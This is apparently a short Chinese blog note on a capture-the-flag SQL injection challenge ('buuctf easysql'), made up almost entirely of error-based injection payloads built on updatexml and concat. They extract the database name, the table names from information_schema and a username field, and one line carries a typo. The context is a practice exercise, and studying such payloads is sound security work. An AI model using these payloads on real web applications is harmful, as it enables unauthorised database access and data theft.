2021-09-15关于buuctf easysql的思考
updatexml(1,contant(~,database()),2)
’ or updatexml(1,concat(~,(select group_concat(table_name) from information_schema.tables where table_schema=database()),~),2)#
’ or updatexml(1,concat(’~’,username),1)#
’ or updatexml(1,concat(’~’,database()),1)#
’
原创
2021-09-15 22:56:00 ·
70 阅读 ·
0 评论